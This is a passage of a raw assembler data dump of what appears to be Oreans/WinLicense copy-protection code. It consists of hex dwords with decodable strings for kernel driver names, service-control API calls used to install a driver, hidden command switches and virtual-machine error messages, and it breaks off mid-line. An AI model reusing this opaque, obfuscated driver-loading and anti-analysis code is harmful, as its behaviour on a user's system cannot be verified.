8FBA0000h dd 5072E9F1h, 0BE8h, 0A0B8CF00h, 1DE3D1C8h, 3515DD7Eh dd 24448B5Fh, 8BF88B04h, 0CE8B6600h, 4244489h, 6A58F38Bh dd 0C9B70F03h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0A52955C3h, 3D5D921h, 36A416Eh dd 0DE9h, 3EDB5000h, 5BA8461Bh, 0F2A69861h, 0AF68C4BBh dd 81B4263Fh, 3FAF2434h, 6A7426h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 12B395C3h, 572A5FFCh dd 11E8h, 0FCBE1500h, 0C50234Bh, 18A97FF6h, 0DDF9AD2Ch dd 8D89CEF6h, 6031BD9h, 0AD9D8D5Eh, 6A0605A8h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 728DC351h, 9469FAA1h, 66356A34h, 3471DF81h, 0F525050h dd 682h, 810F00h, 0F000000h, 5AC88A31h, 241C8958h, 5402D681h dd 0D0FF1447h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 7CC35040h, 7ACD17Bh, 894BDDACh, 32C99BDh, 8D952906h dd 40060330h, 45850Fh, 8D8B0000h, 6031629h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 1EBA4C5Bh, 51CA17B9h, 17FE9h, 0CE800h, 665B0000h, 0BFFE91A4h dd 7768E386h, 0BA6620CCh, 8B59D599h, 0D18B66D8h, 958B4BF8h dd 6030775h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0A185C6B9h, 4306031Bh, 4E18D8Bh dd 4E80603h, 0A7000000h, 0E9C0764Ah, 7, 0BA28011Eh, 508ECB42h dd 28F0Fh, 0CE8B0000h, 424448Bh, 3A4BA6BEh, 0BE008B59h dd 55426205h, 4244489h, 0AE8h, 0E915F900h, 9C6D30AFh, 51874EE5h dd 11E8h, 0F25F1400h, 0B239C21Ah, 0DF3F6BDCh, 0F4CED3C5h dd 5E5FEA5Eh, 6A585Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 6DD56BC3h, 0BC1E472Fh, 81665640h dd 81537FE7h, 5BC4A0DEh, 0E1B5FF41h, 66060302h, 8D56DDBEh dd 338E085h, 1DB58B06h, 0FF060319h, 72D181D0h, 50180558h dd 13E8h, 0BD115700h, 97264592h, 0DCD765FEh, 0F27F799Eh dd 97FFED7Ah, 241C895Ah, 25AD9589h, 0D0FF0603h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 41C35646h, 166342E2h dd 2E32B993h, 0E39D8D8Ah, 8B060371h, 31BD995h, 1D958B06h dd 0B806030Ch, 1, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 33C35040h, 1A5D9509h, 0E3FF0603h, 9FD4B966h, 0E953C18Bh dd 0Dh, 7A083D09h, 5EC9114Bh, 0E3136E25h, 0C08B5967h, 850FC88Bh dd 6, 0A587D981h, 0BD833E1Ah, 60304E5h, 83097500h, 32339BDh dd 19740006h, 0C08B5350h, 40FB8h, 39858900h, 8D060307h dd 5B6269Dh, 5BD3FF06h, 39BD8358h, 60323h, 53501774h, 40FB8h dd 39858900h, 8D060307h, 5B2C79Dh, 5BD3FF06h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0E8D0168Eh, 0CEA99DADh, 0B9BF13F2h, 6A775943h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0AA70C355h, 25A5B58Bh, 0C08B0603h, 0AAE9h, 666F5300h dd 72617774h, 69575C65h, 63694C6Eh, 65736E65h, 65684300h dd 4E496B63h, 72705800h, 7845746Fh, 43007469h, 6B636568h dd 54554Fh, 4C6E6957h, 6E656369h, 65566573h, 6F697372h dd 6957006Eh, 63694C6Eh, 65736E65h, 76697244h, 65567265h dd 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h, 74736E49h dd 65636E61h, 69784500h, 6B4F74h, 636F7250h, 50004E49h dd 4F636F72h, 45005455h, 49746978h, 7845004Eh, 554F7469h dd 70540054h, 4E49h, 2 dup(0) dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0B0E28589h dd 858D0605h, 605B0DEh, 48858D50h, 500605B0h, 168h, 0EE95FF80h dd 6A0605B0h, 0E2B5FF19h, 6A0605B0h, 8D006A01h, 5B07785h dd 0B5FF5006h, 605B0DEh, 0A8D95FFh, 0B5FF0603h, 605B0DEh dd 0B0EA95FFh, 0B5FF0605h, 605B0DEh, 2F595FFh, 89C30603h dd 5B0E285h, 0DE858D06h, 500605B0h, 0B048858Dh, 68500605h dd 80000001h, 0B0EE95FFh, 46A0605h, 0B0E2858Dh, 6A500605h dd 8D006A04h, 5B0A185h, 0B5FF5006h, 605B0DEh, 0A8D95FFh dd 0B5FF0603h, 605B0DEh, 0B0EA95FFh, 0B5FF0605h, 605B0DEh dd 2F595FFh, 89C30603h, 5B0E285h, 0DE858D06h, 500605B0h dd 0B048858Dh, 68500605h, 80000001h, 0B0EE95FFh, 46A0605h dd 0B0E2858Dh, 6A500605h, 8D006A04h, 5B08985h, 0B5FF5006h dd 605B0DEh, 0A8D95FFh, 0B5FF0603h, 605B0DEh, 0B0EA95FFh dd 0B5FF0605h, 605B0DEh, 2F595FFh, 89C30603h, 5B0E285h dd 0DE858D06h, 500605B0h, 0B048858Dh, 68500605h, 80000001h dd 0B0EE95FFh, 46A0605h, 0B0E2858Dh, 6A500605h, 8D006A04h dd 5B0B485h, 0B5FF5006h, 605B0DEh, 0A8D95FFh, 0B5FF0603h dd 605B0DEh, 0B0EA95FFh, 0B5FF0605h, 605B0DEh, 2F595FFh dd 89C30603h, 5B0E285h, 0DE858D06h, 500605B0h, 0B048858Dh dd 68500605h, 80000001h, 0B0EE95FFh, 46A0605h, 0B0E2858Dh dd 6A500605h, 8D006A04h, 5B06485h, 0B5FF5006h, 605B0DEh dd 0A8D95FFh, 0B5FF0603h, 605B0DEh, 0B0EA95FFh, 0B5FF0605h dd 605B0DEh, 2F595FFh, 83C30603h, 32991BDh, 840F0006h dd 0Bh, 29919D8Bh, 0C3830603h, 0C303894Ch, 2991BD83h, 0F000603h dd 0B84h, 919D8B00h, 83060329h, 38950C3h, 91BD83C3h, 60329h dd 0B840Fh, 9D8B0000h, 6032991h, 8954C383h, 0BD83C303h dd 6032991h, 0B840F00h, 8B000000h, 329919Dh, 58C38306h dd 83C30389h, 32991BDh, 840F0006h, 0Bh, 29919D8Bh, 0C3830603h dd 0C303895Ch, 858960C3h, 605B0E2h, 0B0DE858Dh, 8D500605h dd 5B04885h, 1685006h, 0FF800000h, 5B0EE95h, 8D046A06h dd 5B0E285h, 46A5006h, 858D006Ah, 605B0D9h, 0DEB5FF50h dd 0FF0605B0h, 30A8D95h, 0E5BD8306h, 60304h, 0C840Fh, 0B5FF0000h dd 605B0DEh, 0B0EA95FFh, 0B5FF0605h, 605B0DEh, 2F595FFh dd 0C3610603h, 0E2858960h, 8D0605B0h, 5B0DE85h, 858D5006h dd 605B048h, 16850h, 95FF8000h, 605B0EEh, 858D046Ah, 605B0E2h dd 6A046A50h, 0BB858D00h, 500605B0h, 0B0DEB5FFh, 95FF0605h dd 6030A8Dh, 4E5BD83h, 0F000603h, 0C84h, 0DEB5FF00h, 0FF0605B0h dd 5B0EA95h, 0DEB5FF06h, 0FF0605B0h, 302F595h, 60C36106h dd 0B0E28589h, 858D0605h, 605B0DEh, 48858D50h, 500605B0h dd 168h, 0EE95FF80h, 6A0605B0h, 0E2858D04h, 500605B0h dd 6A046Ah, 0B0C2858Dh, 0FF500605h, 5B0DEB5h, 8D95FF06h dd 8306030Ah, 304E5BDh, 840F0006h, 0Ch, 0B0DEB5FFh, 95FF0605h dd 605B0EAh, 0B0DEB5FFh, 95FF0605h, 60302F5h, 8960C361h dd 5B0E285h, 0DE858D06h, 500605B0h, 0B048858Dh, 68500605h dd 80000001h, 0B0EE95FFh, 46A0605h, 0B0E2858Dh, 6A500605h dd 8D006A04h, 5B0CA85h, 0B5FF5006h, 605B0DEh, 0A8D95FFh dd 0BD830603h, 60304E5h, 0C840F00h, 0FF000000h, 5B0DEB5h dd 0EA95FF06h, 0FF0605B0h, 5B0DEB5h, 0F595FF06h, 61060302h dd 858960C3h, 605B0E2h, 0B0DE858Dh, 8D500605h, 5B04885h dd 1685006h, 0FF800000h, 5B0EE95h, 8D046A06h, 5B0E285h dd 46A5006h, 858D006Ah, 605B0D1h, 0DEB5FF50h, 0FF0605B0h dd 30A8D95h, 0E5BD8306h, 60304h, 0C840Fh, 0B5FF0000h, 605B0DEh dd 0B0EA95FFh, 0B5FF0605h, 605B0DEh, 2F595FFh, 0C3610603h dd 0E285C760h, 10605B0h, 8D000000h, 5B0DE85h, 858D5006h dd 605B048h, 26850h, 95FF8000h, 605B0EEh, 840FC00Bh, 0Fh dd 0B0E285C7h, 605h, 4DE90000h, 6A000000h, 0E2858D04h dd 500605B0h, 6A046Ah, 0B05C858Dh, 0FF500605h, 5B0DEB5h dd 8D95FF06h, 0B06030Ah, 0F840FC0h, 0C7000000h, 5B0E285h dd 6, 0AE900h, 85C70000h, 605B0E2h, 1, 0B0DEB5FFh, 95FF0605h dd 60302F5h, 0E2858B61h, 0C30605B0h, 0E2858960h, 8D0605B0h dd 5B0DE85h, 858D5006h, 605B048h, 16850h, 95FF8000h, 605B0EEh dd 858D046Ah, 605B0E2h, 6A046A50h, 5C858D00h, 500605B0h dd 0B0DEB5FFh, 95FF0605h, 6030A8Dh, 4E5BD83h, 0F000603h dd 0C84h, 0DEB5FF00h, 0FF0605B0h, 5B0EA95h, 0DEB5FF06h dd 0FF0605B0h, 302F595h, 60C36106h, 0B0E28589h, 858D0605h dd 605B0DEh, 48858D50h, 500605B0h, 168h, 0EE95FF80h, 6A0605B0h dd 0E2858D04h, 500605B0h, 6A046Ah, 0B06E858Dh, 0FF500605h dd 5B0DEB5h, 8D95FF06h, 8306030Ah, 304E5BDh, 840F0006h dd 0Ch, 0B0DEB5FFh, 95FF0605h, 605B0EAh, 0B0DEB5FFh, 95FF0605h dd 60302F5h, 85C6C361h, 6031BA1h, 7B076852h, 0B5FFADE4h dd 6031F9Dh, 204595FFh, 85890603h, 605B0EEh, 1BA185C6h dd 68520603h, 902E00E5h, 1F9DB5FFh, 95FF0603h, 6032045h dd 0B0EA8589h, 85C60605h, 6031BA1h, 12356852h, 0B5FFB9BFh dd 6031F9Dh, 204595FFh, 85890603h, 6030A8Dh, 1BA185C6h dd 68520603h, 98781034h, 1F9DB5FFh, 95FF0603h, 6032045h dd 2F58589h, 85C60603h, 6031BA1h, 0DBD46852h, 0B5FFC005h dd 6031F9Dh, 204595FFh, 85890603h, 6030EB5h, 0DE8h, 5FBF0D00h dd 90E8BD77h, 0FF20C723h, 0BF0FAE60h, 4CB85EC2h, 8102623Dh dd 7596C6h, 3DBA6600h, 1D3AB9D5h, 0EE800000h, 0F36FF0Dh dd 1786h, 0DE800h, 70E00000h, 707DFE5Fh, 347CFA92h, 66E77692h dd 5892B6BAh, 0D68B665Bh, 0F847C381h, 48BF1A29h, 8142300Eh dd 0CAD57BC3h, 0F2EB8175h, 80329E38h, 1E891BE0h, 0C1816660h dd 8166119Dh, 61A75BF7h, 0F02EE83h, 4E4EC0BFh, 49C0B70Fh dd 1E850Fh, 0F570000h, 0E95FD0B7h, 23h, 5A8405C0h, 7931ACBBh dd 33C9DC18h, 0CFFE2130h, 54957B00h, 7EE9A9B0h, 3CFFFFFFh dd 8AC8F384h, 0E9331175h, 99h, 6775622Fh, 63656863h, 2F00326Bh dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h dd 737574h, 6D75642Fh, 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 5FBD8300h, 605B8h, 0A840Fh, 85C70000h, 6032339h, 1 dd 1BA185C6h, 68470603h, 8F7CD7C9h, 44243481h, 0FF1F11BBh dd 302E1B5h, 0E0858D06h, 0FF060338h, 8BD0FFD0h, 223F80F8h dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h dd 3F80FFFFh, 5850F00h, 0E9000000h, 2DDh, 1E9h, 3F804700h dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C0E9h, 0AE800h dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0B7DFB58Dh, 25E80605h dd 3000002h, 5B874BDh, 74BD8306h, 605B8h, 0B840Fh, 85C70000h dd 60304E5h, 1, 0EAB58DC3h, 0E80605B7h, 1FCh, 0B874BD03h dd 0BD830605h, 605B874h, 0B840F00h, 0C7000000h, 3233985h dd 106h, 0B58DC300h, 605B863h, 1D3E8h, 74BD0300h, 830605B8h dd 5B874BDh, 840F0006h, 0Bh, 0B4185C7h, 10603h, 8DC30000h dd 5B7F4B5h, 1AAE806h, 0BD030000h, 605B874h, 0B874BD83h dd 0F000605h, 0B84h, 3985C700h, 1060323h, 0C3000000h, 0B7FEB58Dh dd 81E80605h, 3000001h, 5B874BDh, 74BD8306h, 605B8h, 15840Fh dd 85C70000h, 6032339h, 1, 4E585C7h, 10603h, 8DC30000h dd 5B80CB5h, 14EE806h, 0BD030000h, 605B874h, 0B874BD83h dd 0F000605h, 0A84h, 0B985C700h, 106031Ch, 8D000000h, 5B816B5h dd 126E806h, 0BD030000h, 605B874h, 0B874BD83h, 0F000605h dd 0A84h, 0B985C700h, 106031Ch, 8D000000h, 5B821B5h, 0FEE806h dd 0BD030000h, 605B874h, 0B874BD83h, 0F000605h, 0A84h dd 0F585C700h, 1060318h, 8D000000h, 5B827B5h, 0D6E806h dd 0BD030000h, 605B874h, 0B874BD83h, 0F000605h, 0A84h dd 0E985C700h, 106032Eh, 8D000000h, 5B82DB5h, 0AEE806h dd 0BD030000h, 605B874h, 0B874BD83h, 0F000605h, 0A84h dd 5D85C700h, 1060307h, 8D000000h, 5B83BB5h, 86E806h, 0BD030000h dd 605B874h, 0B874BD83h, 0F000605h, 0A84h, 0DD85C700h dd 1060320h, 8D000000h, 5B848B5h, 5EE806h, 0BD030000h dd 605B874h, 0B874BD83h, 0F000605h, 0A84h, 1985C700h, 106031Bh dd 8D000000h, 5B853B5h, 36E806h, 0BD030000h, 605B874h dd 0B874BD83h, 0F000605h, 0A84h, 0AD85C700h, 1060307h dd 0E9000000h, 1, 203F8047h, 9840Fh, 3F800000h, 0ED850F00h dd 0C3FFFFFFh, 1B960h, 0DE8B0000h, 19E9h, 3F8000h, 2850Fh dd 0C92B0000h, 1638178Ah, 2840Fh, 0C92B0000h, 3E804746h dd 8840F00h, 0B000000h, 0D6850FC9h, 0BFFFFFFh, 21840FC9h dd 80000000h, 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h dd 0B9000000h, 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 605B874h, 0AE9h, 7485C700h dd 605B8h, 61000000h, 0E9C88BC3h, 20Eh, 6E614333h, 20746F6Eh dd 74697277h, 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah dd 7320656Bh, 20657275h, 74616874h, 69687420h, 69662073h dd 6920656Ch, 6F6E2073h, 65622074h, 20676E69h, 64657375h dd 20796220h, 746F6E61h, 20726568h, 676F7270h, 2E6D6172h dd 68h dup(0) aOreans_vxd db '\Oreans.vxd',0 dd 2 dup(0) dd 0EFE90000h, 0C6000000h, 31BA185h, 86684706h, 0FFE3E45Bh dd 302E1B5h, 0E0858D06h, 0FF060338h, 10468D0h, 9D8D0000h dd 6032AF1h, 50D0FF53h, 0BDE7B58Dh, 0FE8B0605h, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 1BA185C6h dd 68430603h, 0BC8E6EFCh, 2E1B5FFh, 858D0603h, 60338E0h dd 0B58DD0FFh, 6032AF1h, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 31BA185h, 56685706h dd 0FFA69BEEh, 302E1B5h, 0E0858D06h, 0FF060338h, 0E5BD8DD0h dd 8D06032Ch, 5BF0D8Dh, 57006A06h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 0EFB58D00h, 8D0605BBh, 5A75885h, 8DD0FF06h dd 371E38Dh, 0B806h, 0E1FF0000h, 1BA185C6h, 68430603h dd 0C0764AA7h, 2E1B5FFh, 858D0603h, 60338E0h, 0FF53D0FFh dd 0D0B9C3D0h, 0E8000037h, 0 dd 0EC08358h, 2E90889h, 8B000000h, 37D0E9C3h, 5A4D0000h dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 9C3h dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0A9E90000h dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h dd 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 10h dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) aSOreans_vxd db '%s\Oreans.vxd',0 align 4 dd 2 dup(0) aXprotevent db 'XprotEvent',0 align 10h dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h, 94h, 5, 1, 0A28h, 2, 21h dup(0) dd 880FC48Bh, 1, 0B58589F5h, 0BA060329h, 35D21B35h, 0AE9C08Bh dd 0C7000000h, 6D94D052h, 58686EB8h, 0E5BD83BCh, 60304h dd 0BD830975h, 6032339h, 50197400h, 0B8C08B53h, 43Dh, 1A9D8589h dd 9D8D0603h, 605B5BFh, 585BD3FFh, 2339BD83h, 74000603h dd 0B8535017h, 43Dh, 1A9D8589h, 9D8D0603h, 605B2AEh, 585BD3FFh dd 13058529h, 95890603h, 6031FB1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 6BC35343h, 0AAE19B91h, 22199589h dd 0C08B0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 3DC35646h, 0F8DF5284h, 7F81BAF5h, 0C08B6F55h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0CDC35545h, 0EAA3CF97h dd 9DE18166h, 0E5BD83E5h, 60304h, 0BD830975h, 6032339h dd 50137400h, 0B8C08B53h, 0 dd 0B4619D8Dh, 0D3FF0605h, 0BD83585Bh, 6032339h, 50117400h dd 0B853h, 9D8D0000h, 605B312h, 585BD3FFh, 1B61BD23h, 8E90603h dd 13000000h, 74F952E6h, 8B5E5F90h, 23C08BC0h, 32475BDh dd 0E5BD8306h, 60304h, 0BD830975h, 6032339h, 50137400h dd 0B8C08B53h, 0 dd 0B3939D8Dh, 0D3FF0605h, 0BD83585Bh, 6032339h, 50117400h dd 0B853h, 9D8D0000h, 605B2E0h, 585BD3FFh, 13399589h, 58BF0603h dd 8B308BFEh, 6AC08BC0h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 7677C356h, 5B0BEBF2h dd 5649B3BAh, 5AE5E980h, 4E5BD83h, 75000603h, 39BD8309h dd 60323h, 53501374h, 0B8C08Bh, 8D000000h, 5B3FA9Dh, 5BD3FF06h dd 39BD8358h, 60323h, 53501174h, 0B8h, 0F99D8D00h, 0FF0605B2h dd 89585BD3h, 3182195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 5B31BE10h, 8BFB8B78h dd 8D958BC0h, 8B060326h, 0C1BD8BC0h, 1060319h, 32419B5h dd 0E5BD8306h, 60304h, 0BD830975h, 6032339h, 50137400h dd 0B8C08B53h, 0 dd 0B32C9D8Dh, 0D3FF0605h, 8D01585Bh, 60315A1h, 2599B589h dd 0C08B0603h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 65C35242h, 0E544438h, 9D8B6069h, 6030B11h, 0EE9h dd 38A83D00h, 355F8D31h, 0E6AB166Bh, 616BB97Ah, 18F9B589h dd 0C08B0603h, 41D8D8Bh, 36BF0603h, 8373717Ch, 304E5BDh dd 9750006h, 2339BD83h, 74000603h, 8B535019h, 7D0B8C0h dd 85890000h, 6031A9Dh, 0B5BF9D8Dh, 0D3FF0605h, 0BD83585Bh dd 6032339h, 50177400h, 7D0B853h, 85890000h, 6031A9Dh dd 0B2AE9D8Dh, 0D3FF0605h, 86B2585Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0EFC35141h, 0E1B0716Dh, 398D8B31h dd 8B060316h, 0D5BD8BC0h, 0C606032Ch, 31BA185h, 8D895306h dd 6032C81h, 395F9068h, 0FF616099h, 302E1B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0D288DC09h, 858D5950h, 60338E0h, 0E5E98166h, 89D0FFDBh dd 322F595h, 0A18D8B06h, 8906030Ah, 3171D85h, 0C6CE8B06h dd 31BA185h, 8D295706h, 6032E31h, 4520668h, 0BD852990h dd 0FF060314h, 302E1B5h, 8DC88B06h, 338E085h, 55B50906h dd 0FF060326h, 4D8589D0h, 8B06031Bh, 0A185C6D6h, 4306031Bh dd 7E9h, 0E00DFB00h, 0F622137Fh, 90702868h, 9E9BCh, 16D00000h dd 8E009C72h, 0FF64B853h, 302E1B5h, 8D9D8906h, 8D06030Fh dd 338E085h, 0FFC88B06h, 1D8D8BD0h, 89060320h, 3183D85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 3EAE31BBh, 438DED70h, 5860Fh, 81660000h dd 606DDFC9h, 0D319D89h, 0B8660603h, 0C6617160h, 31BA185h dd 0BF0F4C06h, 1CE968CEh, 6AD9DAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8B60C9C3h, 3088D95h dd 10E96106h, 3000000h, 60590414h, 7D683938h, 5AA7E88Ah dd 0FF33C7FCh, 302E1B5h, 0D3BF0F06h, 38E0858Dh, 8F0F0603h dd 6, 735BD8Bh, 0D0FF0603h, 8589D48Ah, 603224Dh, 0C6D2B70Fh dd 31BA185h, 95894606h, 60325DDh, 0DE061468h, 56006ABAh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0E1B5FFEEh, 8B060302h, 31C8DBDh, 0E0858D06h, 6A060338h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0FF2C356h, 287h, 0FFF98B00h, 89D08AD0h, 30EE985h dd 75B58906h, 0C6060300h, 31BA185h, 68FC4706h, 8A0FB5E2h dd 1A99952Bh, 0B5FF0603h, 60302E1h, 8DCB8B66h, 338E085h dd 